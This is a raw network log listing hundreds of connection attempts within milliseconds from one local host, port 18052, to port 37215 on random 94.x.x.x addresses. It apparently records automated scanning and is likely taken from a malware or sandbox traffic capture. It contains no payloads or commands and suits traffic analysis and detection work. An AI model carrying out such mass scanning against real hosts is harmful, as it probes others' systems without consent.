Feb 19, 2024 18:36:20.985522985 CET	18052	37215	192.168.2.15	94.144.90.83
Feb 19, 2024 18:36:20.985538006 CET	18052	37215	192.168.2.15	94.214.11.53
Feb 19, 2024 18:36:20.985558033 CET	18052	37215	192.168.2.15	94.9.139.195
Feb 19, 2024 18:36:20.985572100 CET	18052	37215	192.168.2.15	94.93.181.146
Feb 19, 2024 18:36:20.985585928 CET	18052	37215	192.168.2.15	94.36.85.199
Feb 19, 2024 18:36:20.985605001 CET	18052	37215	192.168.2.15	94.253.122.9
Feb 19, 2024 18:36:20.985624075 CET	18052	37215	192.168.2.15	94.45.179.87
Feb 19, 2024 18:36:20.985634089 CET	18052	37215	192.168.2.15	94.182.245.101
Feb 19, 2024 18:36:20.985650063 CET	18052	37215	192.168.2.15	94.210.42.207
Feb 19, 2024 18:36:20.985668898 CET	18052	37215	192.168.2.15	94.117.31.123
Feb 19, 2024 18:36:20.985687017 CET	18052	37215	192.168.2.15	94.73.219.58
Feb 19, 2024 18:36:20.985702038 CET	18052	37215	192.168.2.15	94.58.159.140
Feb 19, 2024 18:36:20.985719919 CET	18052	37215	192.168.2.15	94.248.27.18
Feb 19, 2024 18:36:20.985732079 CET	18052	37215	192.168.2.15	94.10.205.60
Feb 19, 2024 18:36:20.985747099 CET	18052	37215	192.168.2.15	94.182.32.95
Feb 19, 2024 18:36:20.985764980 CET	18052	37215	192.168.2.15	94.11.156.220
Feb 19, 2024 18:36:20.985778093 CET	18052	37215	192.168.2.15	94.99.123.150
Feb 19, 2024 18:36:20.985797882 CET	18052	37215	192.168.2.15	94.31.90.137
Feb 19, 2024 18:36:20.985815048 CET	18052	37215	192.168.2.15	94.16.98.137
Feb 19, 2024 18:36:20.985827923 CET	18052	37215	192.168.2.15	94.12.237.111
Feb 19, 2024 18:36:20.985842943 CET	18052	37215	192.168.2.15	94.188.121.87
Feb 19, 2024 18:36:20.985857964 CET	18052	37215	192.168.2.15	94.233.24.224
Feb 19, 2024 18:36:20.985882998 CET	18052	37215	192.168.2.15	94.179.187.169
Feb 19, 2024 18:36:20.985897064 CET	18052	37215	192.168.2.15	94.136.205.199
Feb 19, 2024 18:36:20.985914946 CET	18052	37215	192.168.2.15	94.213.147.97
Feb 19, 2024 18:36:20.985934973 CET	18052	37215	192.168.2.15	94.195.17.230
Feb 19, 2024 18:36:20.985944033 CET	18052	37215	192.168.2.15	94.231.30.1
Feb 19, 2024 18:36:20.985963106 CET	18052	37215	192.168.2.15	94.199.130.159
Feb 19, 2024 18:36:20.985971928 CET	18052	37215	192.168.2.15	94.12.214.68
Feb 19, 2024 18:36:20.985991955 CET	18052	37215	192.168.2.15	94.214.240.9
Feb 19, 2024 18:36:20.986011028 CET	18052	37215	192.168.2.15	94.79.45.114
Feb 19, 2024 18:36:20.986026049 CET	18052	37215	192.168.2.15	94.131.162.119
Feb 19, 2024 18:36:20.986037016 CET	18052	37215	192.168.2.15	94.31.151.163
Feb 19, 2024 18:36:20.986053944 CET	18052	37215	192.168.2.15	94.218.165.87
Feb 19, 2024 18:36:20.986072063 CET	18052	37215	192.168.2.15	94.82.241.43
Feb 19, 2024 18:36:20.986093998 CET	18052	37215	192.168.2.15	94.35.186.148
Feb 19, 2024 18:36:20.986112118 CET	18052	37215	192.168.2.15	94.238.70.40
Feb 19, 2024 18:36:20.986125946 CET	18052	37215	192.168.2.15	94.156.197.0
Feb 19, 2024 18:36:20.986146927 CET	18052	37215	192.168.2.15	94.109.182.167
Feb 19, 2024 18:36:20.986160994 CET	18052	37215	192.168.2.15	94.87.228.244
Feb 19, 2024 18:36:20.986180067 CET	18052	37215	192.168.2.15	94.45.99.166
Feb 19, 2024 18:36:20.986197948 CET	18052	37215	192.168.2.15	94.158.159.213
Feb 19, 2024 18:36:20.986212969 CET	18052	37215	192.168.2.15	94.60.125.175
Feb 19, 2024 18:36:20.986227989 CET	18052	37215	192.168.2.15	94.74.232.58
Feb 19, 2024 18:36:20.986246109 CET	18052	37215	192.168.2.15	94.120.227.12
Feb 19, 2024 18:36:20.986258030 CET	18052	37215	192.168.2.15	94.41.228.61
Feb 19, 2024 18:36:20.986278057 CET	18052	37215	192.168.2.15	94.242.103.132
Feb 19, 2024 18:36:20.986304045 CET	18052	37215	192.168.2.15	94.127.207.231
Feb 19, 2024 18:36:20.986309052 CET	18052	37215	192.168.2.15	94.224.134.105
Feb 19, 2024 18:36:20.986326933 CET	18052	37215	192.168.2.15	94.45.124.244
Feb 19, 2024 18:36:20.986345053 CET	18052	37215	192.168.2.15	94.238.214.10
Feb 19, 2024 18:36:20.986362934 CET	18052	37215	192.168.2.15	94.23.144.194
Feb 19, 2024 18:36:20.986377954 CET	18052	37215	192.168.2.15	94.222.54.77
Feb 19, 2024 18:36:20.986397982 CET	18052	37215	192.168.2.15	94.31.53.95
Feb 19, 2024 18:36:20.986412048 CET	18052	37215	192.168.2.15	94.162.190.52
Feb 19, 2024 18:36:20.986430883 CET	18052	37215	192.168.2.15	94.247.34.61
Feb 19, 2024 18:36:20.986442089 CET	18052	37215	192.168.2.15	94.128.133.6
Feb 19, 2024 18:36:20.986460924 CET	18052	37215	192.168.2.15	94.222.68.51
Feb 19, 2024 18:36:20.986473083 CET	18052	37215	192.168.2.15	94.251.112.156
Feb 19, 2024 18:36:20.986493111 CET	18052	37215	192.168.2.15	94.61.159.4
Feb 19, 2024 18:36:20.986506939 CET	18052	37215	192.168.2.15	94.247.56.107
Feb 19, 2024 18:36:20.986526966 CET	18052	37215	192.168.2.15	94.166.64.126
Feb 19, 2024 18:36:20.986541033 CET	18052	37215	192.168.2.15	94.205.221.192
Feb 19, 2024 18:36:20.986552000 CET	18052	37215	192.168.2.15	94.199.234.93
Feb 19, 2024 18:36:20.986566067 CET	18052	37215	192.168.2.15	94.2.154.134
Feb 19, 2024 18:36:20.986586094 CET	18052	37215	192.168.2.15	94.175.103.145
Feb 19, 2024 18:36:20.986612082 CET	18052	37215	192.168.2.15	94.65.231.110
Feb 19, 2024 18:36:20.986623049 CET	18052	37215	192.168.2.15	94.6.73.140
Feb 19, 2024 18:36:20.986637115 CET	18052	37215	192.168.2.15	94.39.159.0
Feb 19, 2024 18:36:20.986650944 CET	18052	37215	192.168.2.15	94.43.184.1
Feb 19, 2024 18:36:20.986670971 CET	18052	37215	192.168.2.15	94.2.172.190
Feb 19, 2024 18:36:20.986685991 CET	18052	37215	192.168.2.15	94.199.195.158
Feb 19, 2024 18:36:20.986701012 CET	18052	37215	192.168.2.15	94.152.214.142
Feb 19, 2024 18:36:20.986723900 CET	18052	37215	192.168.2.15	94.238.119.105
Feb 19, 2024 18:36:20.986740112 CET	18052	37215	192.168.2.15	94.32.190.164
Feb 19, 2024 18:36:20.986748934 CET	18052	37215	192.168.2.15	94.109.211.196
Feb 19, 2024 18:36:20.986768007 CET	18052	37215	192.168.2.15	94.126.11.131
Feb 19, 2024 18:36:20.986787081 CET	18052	37215	192.168.2.15	94.87.222.228
Feb 19, 2024 18:36:20.986803055 CET	18052	37215	192.168.2.15	94.228.219.236
Feb 19, 2024 18:36:20.986814022 CET	18052	37215	192.168.2.15	94.191.14.190
Feb 19, 2024 18:36:20.986838102 CET	18052	37215	192.168.2.15	94.14.118.98
Feb 19, 2024 18:36:20.986851931 CET	18052	37215	192.168.2.15	94.168.51.238
Feb 19, 2024 18:36:20.986866951 CET	18052	37215	192.168.2.15	94.84.102.158
Feb 19, 2024 18:36:20.986880064 CET	18052	37215	192.168.2.15	94.150.146.159
Feb 19, 2024 18:36:20.986896038 CET	18052	37215	192.168.2.15	94.175.248.214
Feb 19, 2024 18:36:20.986913919 CET	18052	37215	192.168.2.15	94.143.252.171
Feb 19, 2024 18:36:20.986932039 CET	18052	37215	192.168.2.15	94.191.6.81
Feb 19, 2024 18:36:20.986947060 CET	18052	37215	192.168.2.15	94.107.45.47
Feb 19, 2024 18:36:20.986968994 CET	18052	37215	192.168.2.15	94.7.11.183
Feb 19, 2024 18:36:20.986979008 CET	18052	37215	192.168.2.15	94.87.171.146
Feb 19, 2024 18:36:20.986996889 CET	18052	37215	192.168.2.15	94.14.25.1
Feb 19, 2024 18:36:20.987010956 CET	18052	37215	192.168.2.15	94.204.1.223
Feb 19, 2024 18:36:20.987026930 CET	18052	37215	192.168.2.15	94.174.157.232
Feb 19, 2024 18:36:20.987041950 CET	18052	37215	192.168.2.15	94.121.33.253
Feb 19, 2024 18:36:20.987059116 CET	18052	37215	192.168.2.15	94.247.146.50
Feb 19, 2024 18:36:20.987082005 CET	18052	37215	192.168.2.15	94.81.180.126
Feb 19, 2024 18:36:20.987092972 CET	18052	37215	192.168.2.15	94.216.49.35
Feb 19, 2024 18:36:20.987104893 CET	18052	37215	192.168.2.15	94.2.175.28
Feb 19, 2024 18:36:20.987133980 CET	18052	37215	192.168.2.15	94.27.146.251
Feb 19, 2024 18:36:20.987150908 CET	18052	37215	192.168.2.15	94.227.7.52
Feb 19, 2024 18:36:20.987164974 CET	18052	37215	192.168.2.15	94.145.143.97
Feb 19, 2024 18:36:20.987186909 CET	18052	37215	192.168.2.15	94.130.85.193
Feb 19, 2024 18:36:20.987200975 CET	18052	37215	192.168.2.15	94.34.23.140
Feb 19, 2024 18:36:20.987210035 CET	18052	37215	192.168.2.15	94.163.130.61
Feb 19, 2024 18:36:20.987230062 CET	18052	37215	192.168.2.15	94.144.244.227
Feb 19, 2024 18:36:20.987246037 CET	18052	37215	192.168.2.15	94.160.27.201
Feb 19, 2024 18:36:20.987258911 CET	18052	37215	192.168.2.15	94.175.114.92
Feb 19, 2024 18:36:20.987279892 CET	18052	37215	192.168.2.15	94.149.213.193
Feb 19, 2024 18:36:20.987294912 CET	18052	37215	192.168.2.15	94.164.129.1
Feb 19, 2024 18:36:20.987310886 CET	18052	37215	192.168.2.15	94.197.175.119
Feb 19, 2024 18:36:20.987323999 CET	18052	37215	192.168.2.15	94.76.29.147
Feb 19, 2024 18:36:20.987339020 CET	18052	37215	192.168.2.15	94.249.249.101
Feb 19, 2024 18:36:20.987356901 CET	18052	37215	192.168.2.15	94.120.194.26
Feb 19, 2024 18:36:20.987370014 CET	18052	37215	192.168.2.15	94.174.205.78
Feb 19, 2024 18:36:20.987384081 CET	18052	37215	192.168.2.15	94.208.56.18
Feb 19, 2024 18:36:20.987406969 CET	18052	37215	192.168.2.15	94.177.180.121
Feb 19, 2024 18:36:20.987418890 CET	18052	37215	192.168.2.15	94.225.165.33
Feb 19, 2024 18:36:20.987437963 CET	18052	37215	192.168.2.15	94.226.239.233
Feb 19, 2024 18:36:20.987457037 CET	18052	37215	192.168.2.15	94.60.135.118
Feb 19, 2024 18:36:20.987473011 CET	18052	37215	192.168.2.15	94.176.167.152
Feb 19, 2024 18:36:20.987492085 CET	18052	37215	192.168.2.15	94.98.143.130
Feb 19, 2024 18:36:20.987502098 CET	18052	37215	192.168.2.15	94.21.217.104
Feb 19, 2024 18:36:20.987523079 CET	18052	37215	192.168.2.15	94.51.40.99
Feb 19, 2024 18:36:20.987536907 CET	18052	37215	192.168.2.15	94.130.235.197
Feb 19, 2024 18:36:20.987549067 CET	18052	37215	192.168.2.15	94.56.242.13
Feb 19, 2024 18:36:20.987571955 CET	18052	37215	192.168.2.15	94.80.77.52
Feb 19, 2024 18:36:20.987585068 CET	18052	37215	192.168.2.15	94.171.159.166
Feb 19, 2024 18:36:20.987637043 CET	18052	37215	192.168.2.15	94.77.58.24
Feb 19, 2024 18:36:20.987667084 CET	18052	37215	192.168.2.15	94.93.176.138
Feb 19, 2024 18:36:20.987687111 CET	18052	37215	192.168.2.15	94.186.195.250
Feb 19, 2024 18:36:20.987709045 CET	18052	37215	192.168.2.15	94.233.235.214
Feb 19, 2024 18:36:20.987723112 CET	18052	37215	192.168.2.15	94.72.167.1
Feb 19, 2024 18:36:20.987736940 CET	18052	37215	192.168.2.15	94.187.139.144
Feb 19, 2024 18:36:20.987755060 CET	18052	37215	192.168.2.15	94.195.214.207
Feb 19, 2024 18:36:20.987772942 CET	18052	37215	192.168.2.15	94.42.41.58
Feb 19, 2024 18:36:20.987787962 CET	18052	37215	192.168.2.15	94.132.165.245
Feb 19, 2024 18:36:20.987802982 CET	18052	37215	192.168.2.15	94.14.115.254
Feb 19, 2024 18:36:20.987823963 CET	18052	37215	192.168.2.15	94.111.231.28
Feb 19, 2024 18:36:20.987828016 CET	18052	37215	192.168.2.15	94.234.22.32
Feb 19, 2024 18:36:20.987828016 CET	18052	37215	192.168.2.15	94.251.255.243
Feb 19, 2024 18:36:20.987828016 CET	18052	37215	192.168.2.15	94.74.147.161
Feb 19, 2024 18:36:20.987839937 CET	18052	37215	192.168.2.15	94.33.216.15
Feb 19, 2024 18:36:20.987854958 CET	18052	37215	192.168.2.15	94.32.52.32
Feb 19, 2024 18:36:20.987879992 CET	18052	37215	192.168.2.15	94.182.30.68
Feb 19, 2024 18:36:20.987889051 CET	18052	37215	192.168.2.15	94.157.194.191
Feb 19, 2024 18:36:20.987910032 CET	18052	37215	192.168.2.15	94.80.102.175
Feb 19, 2024 18:36:20.987926006 CET	18052	37215	192.168.2.15	94.58.37.181
Feb 19, 2024 18:36:20.987943888 CET	18052	37215	192.168.2.15	94.18.104.217
Feb 19, 2024 18:36:20.987957954 CET	18052	37215	192.168.2.15	94.216.45.109
Feb 19, 2024 18:36:20.987976074 CET	18052	37215	192.168.2.15	94.89.96.20
Feb 19, 2024 18:36:20.987986088 CET	18052	37215	192.168.2.15	94.207.83.234
Feb 19, 2024 18:36:20.988006115 CET	18052	37215	192.168.2.15	94.61.185.73
Feb 19, 2024 18:36:20.988018036 CET	18052	37215	192.168.2.15	94.233.226.22
Feb 19, 2024 18:36:20.988039017 CET	18052	37215	192.168.2.15	94.187.232.240
Feb 19, 2024 18:36:20.988055944 CET	18052	37215	192.168.2.15	94.169.184.75
Feb 19, 2024 18:36:20.988075018 CET	18052	37215	192.168.2.15	94.202.51.70
Feb 19, 2024 18:36:20.988089085 CET	18052	37215	192.168.2.15	94.45.214.12
Feb 19, 2024 18:36:20.988109112 CET	18052	37215	192.168.2.15	94.237.164.139
Feb 19, 2024 18:36:20.988121986 CET	18052	37215	192.168.2.15	94.79.169.213
Feb 19, 2024 18:36:20.988143921 CET	18052	37215	192.168.2.15	94.51.74.244
Feb 19, 2024 18:36:20.988162041 CET	18052	37215	192.168.2.15	94.189.25.112
Feb 19, 2024 18:36:20.988174915 CET	18052	37215	192.168.2.15	94.238.195.210
Feb 19, 2024 18:36:20.988193035 CET	18052	37215	192.168.2.15	94.63.123.26
Feb 19, 2024 18:36:20.988208055 CET	18052	37215	192.168.2.15	94.227.168.8
Feb 19, 2024 18:36:20.988221884 CET	18052	37215	192.168.2.15	94.235.121.210
Feb 19, 2024 18:36:20.988240957 CET	18052	37215	192.168.2.15	94.105.82.208
Feb 19, 2024 18:36:20.988257885 CET	18052	37215	192.168.2.15	94.151.100.61
Feb 19, 2024 18:36:20.988270998 CET	18052	37215	192.168.2.15	94.174.46.160
Feb 19, 2024 18:36:20.988289118 CET	18052	37215	192.168.2.15	94.44.94.64
Feb 19, 2024 18:36:20.988303900 CET	18052	37215	192.168.2.15	94.78.119.215
Feb 19, 2024 18:36:20.988321066 CET	18052	37215	192.168.2.15	94.216.196.194
Feb 19, 2024 18:36:20.988339901 CET	18052	37215	192.168.2.15	94.182.66.78
Feb 19, 2024 18:36:20.988356113 CET	18052	37215	192.168.2.15	94.223.230.178
Feb 19, 2024 18:36:20.988375902 CET	18052	37215	192.168.2.15	94.242.154.186
Feb 19, 2024 18:36:20.988392115 CET	18052	37215	192.168.2.15	94.154.232.122
Feb 19, 2024 18:36:20.988404989 CET	18052	37215	192.168.2.15	94.25.84.82
Feb 19, 2024 18:36:20.988421917 CET	18052	37215	192.168.2.15	94.19.108.59
Feb 19, 2024 18:36:20.988435984 CET	18052	37215	192.168.2.15	94.241.97.95
Feb 19, 2024 18:36:20.988447905 CET	18052	37215	192.168.2.15	94.225.189.67
Feb 19, 2024 18:36:20.988471031 CET	18052	37215	192.168.2.15	94.109.208.232
Feb 19, 2024 18:36:20.988483906 CET	18052	37215	192.168.2.15	94.184.187.235
Feb 19, 2024 18:36:20.988502979 CET	18052	37215	192.168.2.15	94.184.165.68
Feb 19, 2024 18:36:20.988516092 CET	18052	37215	192.168.2.15	94.161.250.60
Feb 19, 2024 18:36:20.988537073 CET	18052	37215	192.168.2.15	94.19.88.247
Feb 19, 2024 18:36:20.988548994 CET	18052	37215	192.168.2.15	94.223.90.157
Feb 19, 2024 18:36:20.988570929 CET	18052	37215	192.168.2.15	94.245.106.158
Feb 19, 2024 18:36:20.988584042 CET	18052	37215	192.168.2.15	94.1.43.177
Feb 19, 2024 18:36:20.988595009 CET	18052	37215	192.168.2.15	94.29.164.44
Feb 19, 2024 18:36:20.988612890 CET	18052	37215	192.168.2.15	94.159.217.20
Feb 19, 2024 18:36:20.988630056 CET	18052	37215	192.168.2.15	94.221.152.175
Feb 19, 2024 18:36:20.988642931 CET	18052	37215	192.168.2.15	94.202.135.14
Feb 19, 2024 18:36:20.988660097 CET	18052	37215	192.168.2.15	94.222.162.6
Feb 19, 2024 18:36:20.988681078 CET	18052	37215	192.168.2.15	94.4.172.50
Feb 19, 2024 18:36:20.988694906 CET	18052	37215	192.168.2.15	94.239.208.131
Feb 19, 2024 18:36:20.988707066 CET	18052	37215	192.168.2.15	94.228.211.133
Feb 19, 2024 18:36:20.988724947 CET	18052	37215	192.168.2.15	94.138.32.166
Feb 19, 2024 18:36:20.988739967 CET	18052	37215	192.168.2.15	94.109.15.3
Feb 19, 2024 18:36:20.988756895 CET	18052	37215	192.168.2.15	94.208.152.82
Feb 19, 2024 18:36:20.988775969 CET	18052	37215	192.168.2.15	94.64.69.14
Feb 19, 2024 18:36:20.988792896 CET	18052	37215	192.168.2.15	94.114.70.23
Feb 19, 2024 18:36:20.988811970 CET	18052	37215	192.168.2.15	94.64.60.191
Feb 19, 2024 18:36:20.988827944 CET	18052	37215	192.168.2.15	94.142.71.64
Feb 19, 2024 18:36:20.988842964 CET	18052	37215	192.168.2.15	94.62.251.76
Feb 19, 2024 18:36:20.988866091 CET	18052	37215	192.168.2.15	94.50.191.213
Feb 19, 2024 18:36:20.988877058 CET	18052	37215	192.168.2.15	94.109.251.176
Feb 19, 2024 18:36:20.988894939 CET	18052	37215	192.168.2.15	94.92.244.163
Feb 19, 2024 18:36:20.988914013 CET	18052	37215	192.168.2.15	94.248.66.209
Feb 19, 2024 18:36:20.988926888 CET	18052	37215	192.168.2.15	94.233.147.251
Feb 19, 2024 18:36:20.988949060 CET	18052	37215	192.168.2.15	94.95.142.100
Feb 19, 2024 18:36:20.988960028 CET	18052	37215	192.168.2.15	94.211.72.192
Feb 19, 2024 18:36:20.988982916 CET	18052	37215	192.168.2.15	94.131.156.60
Feb 19, 2024 18:36:20.988996983 CET	18052	37215	192.168.2.15	94.183.205.132
Feb 19, 2024 18:36:20.989021063 CET	18052	37215	192.168.2.15	94.135.26.150
Feb 19, 2024 18:36:20.989034891 CET	18052	37215	192.168.2.15	94.220.38.169
Feb 19, 2024 18:36:20.989053965 CET	18052	37215	192.168.2.15	94.151.240.173
Feb 19, 2024 18:36:20.989068985 CET	18052	37215	192.168.2.15	94.174.246.138
Feb 19, 2024 18:36:20.989088058 CET	18052	37215	192.168.2.15	94.60.82.225
Feb 19, 2024 18:36:20.989105940 CET	18052	37215	192.168.2.15	94.209.31.156
Feb 19, 2024 18:36:20.989116907 CET	18052	37215	192.168.2.15	94.243.45.136
Feb 19, 2024 18:36:20.989134073 CET	18052	37215	192.168.2.15	94.102.4.74
Feb 19, 2024 18:36:20.989152908 CET	18052	37215	192.168.2.15	94.128.235.10
Feb 19, 2024 18:36:20.989167929 CET	18052	37215	192.168.2.15	94.102.8.224
Feb 19, 2024 18:36:20.989188910 CET	18052	37215	192.168.2.15	94.155.181.159
Feb 19, 2024 18:36:20.989208937 CET	18052	37215	192.168.2.15	94.203.113.44
Feb 19, 2024 18:36:20.989226103 CET	18052	37215	192.168.2.15	94.152.228.129
Feb 19, 2024 18:36:20.989234924 CET	18052	37215	192.168.2.15	94.198.122.205
Feb 19, 2024 18:36:20.989255905 CET	18052	37215	192.168.2.15	94.40.38.51
Feb 19, 2024 18:36:20.989272118 CET	18052	37215	192.168.2.15	94.147.105.220
Feb 19, 2024 18:36:20.989284992 CET	18052	37215	192.168.2.15	94.185.114.118
Feb 19, 2024 18:36:20.989308119 CET	18052	37215	192.168.2.15	94.248.85.204
Feb 19, 2024 18:36:20.989322901 CET	18052	37215	192.168.2.15	94.172.148.209
Feb 19, 2024 18:36:20.989336014 CET	18052	37215	192.168.2.15	94.74.38.91
Feb 19, 2024 18:36:20.989350080 CET	18052	37215	192.168.2.15	94.0.123.66
Feb 19, 2024 18:36:20.989365101 CET	18052	37215	192.168.2.15	94.213.74.139
Feb 19, 2024 18:36:20.989378929 CET	18052	37215	192.168.2.15	94.78.15.206
Feb 19, 2024 18:36:20.989398003 CET	18052	37215	192.168.2.15	94.109.64.75
Feb 19, 2024 18:36:20.989413023 CET	18052	37215	192.168.2.15	94.188.124.251
Feb 19, 2024 18:36:20.989430904 CET	18052	37215	192.168.2.15	94.86.79.218
Feb 19, 2024 18:36:20.989444971 CET	18052	37215	192.168.2.15	94.147.44.26
Feb 19, 2024 18:36:20.989466906 CET	18052	37215	192.168.2.15	94.109.255.125
Feb 19, 2024 18:36:20.989478111 CET	18052	37215	192.168.2.15	94.157.115.103
Feb 19, 2024 18:36:20.989495993 CET	18052	37215	192.168.2.15	94.229.166.51
Feb 19, 2024 18:36:20.989516020 CET	18052	37215	192.168.2.15	94.26.230.18
Feb 19, 2024 18:36:20.989526033 CET	18052	37215	192.168.2.15	94.115.152.48
Feb 19, 2024 18:36:20.989541054 CET	18052	37215	192.168.2.15	94.130.30.239
Feb 19, 2024 18:36:20.989561081 CET	18052	37215	192.168.2.15	94.19.104.137
Feb 19, 2024 18:36:20.989569902 CET	18052	37215	192.168.2.15	94.70.82.24
Feb 19, 2024 18:36:20.989593029 CET	18052	37215	192.168.2.15	94.16.40.92
Feb 19, 2024 18:36:20.989610910 CET	18052	37215	192.168.2.15	94.189.45.239
Feb 19, 2024 18:36:20.989622116 CET	18052	37215	192.168.2.15	94.89.159.195
Feb 19, 2024 18:36:20.989635944 CET	18052	37215	192.168.2.15	94.11.187.36
Feb 19, 2024 18:36:20.989658117 CET	18052	37215	192.168.2.15	94.167.169.129
Feb 19, 2024 18:36:20.989675999 CET	18052	37215	192.168.2.15	94.251.52.52
Feb 19, 2024 18:36:20.989686966 CET	18052	37215	192.168.2.15	94.91.153.120
Feb 19, 2024 18:36:20.989705086 CET	18052	37215	192.168.2.15	94.103.205.67
Feb 19, 2024 18:36:20.989723921 CET	18052	37215	192.168.2.15	94.233.244.126
Feb 19, 2024 18:36:20.989737988 CET	18052	37215	192.168.2.15	94.171.15.42
Feb 19, 2024 18:36:20.989753962 CET	18052	37215	192.168.2.15	94.144.136.19
Feb 19, 2024 18:36:20.989774942 CET	18052	37215	192.168.2.15	94.138.192.233
Feb 19, 2024 18:36:20.989788055 CET	18052	37215	192.168.2.15	94.65.243.41
Feb 19, 2024 18:36:20.989806890 CET	18052	37215	192.168.2.15	94.108.120.107
Feb 19, 2024 18:36:20.989835978 CET	18052	37215	192.168.2.15	94.57.118.204
Feb 19, 2024 18:36:20.989835978 CET	18052	37215	192.168.2.15	94.87.156.199
Feb 19, 2024 18:36:20.989856005 CET	18052	37215	192.168.2.15	94.25.79.14
Feb 19, 2024 18:36:20.989872932 CET	18052	37215	192.168.2.15	94.115.88.3
Feb 19, 2024 18:36:20.989905119 CET	18052	37215	192.168.2.15	94.16.99.90
Feb 19, 2024 18:36:20.989908934 CET	18052	37215	192.168.2.15	94.53.112.102
Feb 19, 2024 18:36:20.989923000 CET	18052	37215	192.168.2.15	94.220.72.170
Feb 19, 2024 18:36:20.989942074 CET	18052	37215	192.168.2.15	94.180.140.78
Feb 19, 2024 18:36:20.989953041 CET	18052	37215	192.168.2.15	94.128.207.91
Feb 19, 2024 18:36:20.989973068 CET	18052	37215	192.168.2.15	94.234.183.31
Feb 19, 2024 18:36:20.989988089 CET	18052	37215	192.168.2.15	94.130.109.250
Feb 19, 2024 18:36:20.990000963 CET	18052	37215	192.168.2.15	94.196.12.197
Feb 19, 2024 18:36:20.990015984 CET	18052	37215	192.168.2.15	94.121.96.158
Feb 19, 2024 18:36:20.990031004 CET	18052	37215	192.168.2.15	94.29.181.49
Feb 19, 2024 18:36:20.990046024 CET	18052	37215	192.168.2.15	94.104.35.254
Feb 19, 2024 18:36:20.990060091 CET	18052	37215	192.168.2.15	94.192.36.59
Feb 19, 2024 18:36:20.990077972 CET	18052	37215	192.168.2.15	94.19.202.25
Feb 19, 2024 18:36:20.990098000 CET	18052	37215	192.168.2.15	94.22.215.137
Feb 19, 2024 18:36:20.990108013 CET	18052	37215	192.168.2.15	94.31.227.123
Feb 19, 2024 18:36:20.990127087 CET	18052	37215	192.168.2.15	94.186.122.133
Feb 19, 2024 18:36:20.990142107 CET	18052	37215	192.168.2.15	94.171.72.31
Feb 19, 2024 18:36:20.990154982 CET	18052	37215	192.168.2.15	94.7.224.190
Feb 19, 2024 18:36:20.990176916 CET	18052	37215	192.168.2.15	94.210.231.48
Feb 19, 2024 18:36:20.990192890 CET	18052	37215	192.168.2.15	94.185.118.136
Feb 19, 2024 18:36:20.990206957 CET	18052	37215	192.168.2.15	94.15.68.138
Feb 19, 2024 18:36:20.990221024 CET	18052	37215	192.168.2.15	94.116.100.54
Feb 19, 2024 18:36:20.990240097 CET	18052	37215	192.168.2.15	94.151.116.213
Feb 19, 2024 18:36:20.990252972 CET	18052	37215	192.168.2.15	94.47.36.213
Feb 19, 2024 18:36:20.990273952 CET	18052	37215	192.168.2.15	94.205.78.244
Feb 19, 2024 18:36:20.990291119 CET	18052	37215	192.168.2.15	94.133.196.67
Feb 19, 2024 18:36:20.990303040 CET	18052	37215	192.168.2.15	94.113.59.200
Feb 19, 2024 18:36:20.990324020 CET	18052	37215	192.168.2.15	94.164.138.67
Feb 19, 2024 18:36:20.990341902 CET	18052	37215	192.168.2.15	94.20.159.226
Feb 19, 2024 18:36:20.990353107 CET	18052	37215	192.168.2.15	94.188.0.213
Feb 19, 2024 18:36:20.990371943 CET	18052	37215	192.168.2.15	94.172.87.255
Feb 19, 2024 18:36:20.990384102 CET	18052	37215	192.168.2.15	94.38.235.3
Feb 19, 2024 18:36:20.990397930 CET	18052	37215	192.168.2.15	94.79.128.40
Feb 19, 2024 18:36:20.990417004 CET	18052	37215	192.168.2.15	94.54.20.122
Feb 19, 2024 18:36:20.990430117 CET	18052	37215	192.168.2.15	94.225.56.159
Feb 19, 2024 18:36:20.990444899 CET	18052	37215	192.168.2.15	94.209.37.250
Feb 19, 2024 18:36:20.990464926 CET	18052	37215	192.168.2.15	94.32.199.68
Feb 19, 2024 18:36:20.990474939 CET	18052	37215	192.168.2.15	94.150.175.122
Feb 19, 2024 18:36:20.990493059 CET	18052	37215	192.168.2.15	94.27.74.108
Feb 19, 2024 18:36:20.990511894 CET	18052	37215	192.168.2.15	94.9.164.98
Feb 19, 2024 18:36:20.990525961 CET	18052	37215	192.168.2.15	94.164.92.240
Feb 19, 2024 18:36:20.990545988 CET	18052	37215	192.168.2.15	94.12.103.63
Feb 19, 2024 18:36:20.990562916 CET	18052	37215	192.168.2.15	94.131.197.97
Feb 19, 2024 18:36:20.990582943 CET	18052	37215	192.168.2.15	94.36.139.100
Feb 19, 2024 18:36:20.990595102 CET	18052	37215	192.168.2.15	94.175.200.48
Feb 19, 2024 18:36:20.990608931 CET	18052	37215	192.168.2.15	94.103.116.44
Feb 19, 2024 18:36:20.990628958 CET	18052	37215	192.168.2.15	94.98.98.249
Feb 19, 2024 18:36:20.990643024 CET	18052	37215	192.168.2.15	94.250.21.91
Feb 19, 2024 18:36:20.990658045 CET	18052	37215	192.168.2.15	94.177.60.57
Feb 19, 2024 18:36:20.990675926 CET	18052	37215	192.168.2.15	94.29.166.154
Feb 19, 2024 18:36:20.990685940 CET	18052	37215	192.168.2.15	94.112.196.177
Feb 19, 2024 18:36:20.990700960 CET	18052	37215	192.168.2.15	94.179.25.199
Feb 19, 2024 18:36:20.990720987 CET	18052	37215	192.168.2.15	94.183.109.94
Feb 19, 2024 18:36:20.990740061 CET	18052	37215	192.168.2.15	94.199.180.233
Feb 19, 2024 18:36:20.990755081 CET	18052	37215	192.168.2.15	94.104.174.203
Feb 19, 2024 18:36:20.990770102 CET	18052	37215	192.168.2.15	94.61.128.189
Feb 19, 2024 18:36:20.990783930 CET	18052	37215	192.168.2.15	94.132.203.149
Feb 19, 2024 18:36:20.990796089 CET	18052	37215	192.168.2.15	94.246.177.237
Feb 19, 2024 18:36:20.990818977 CET	18052	37215	192.168.2.15	94.206.117.210
Feb 19, 2024 18:36:20.990833998 CET	18052	37215	192.168.2.15	94.56.135.206
Feb 19, 2024 18:36:20.990853071 CET	18052	37215	192.168.2.15	94.64.216.33
Feb 19, 2024 18:36:20.990869999 CET	18052	37215	192.168.2.15	94.189.213.114
Feb 19, 2024 18:36:20.990885019 CET	18052	37215	192.168.2.15	94.234.29.247
Feb 19, 2024 18:36:20.990902901 CET	18052	37215	192.168.2.15	94.234.101.149
Feb 19, 2024 18:36:20.990921974 CET	18052	37215	192.168.2.15	94.160.183.179
Feb 19, 2024 18:36:20.990935087 CET	18052	37215	192.168.2.15	94.247.81.109
Feb 19, 2024 18:36:20.990952969 CET	18052	37215	192.168.2.15	94.21.37.238
Feb 19, 2024 18:36:20.990972996 CET	18052	37215	192.168.2.15	94.231.6.54
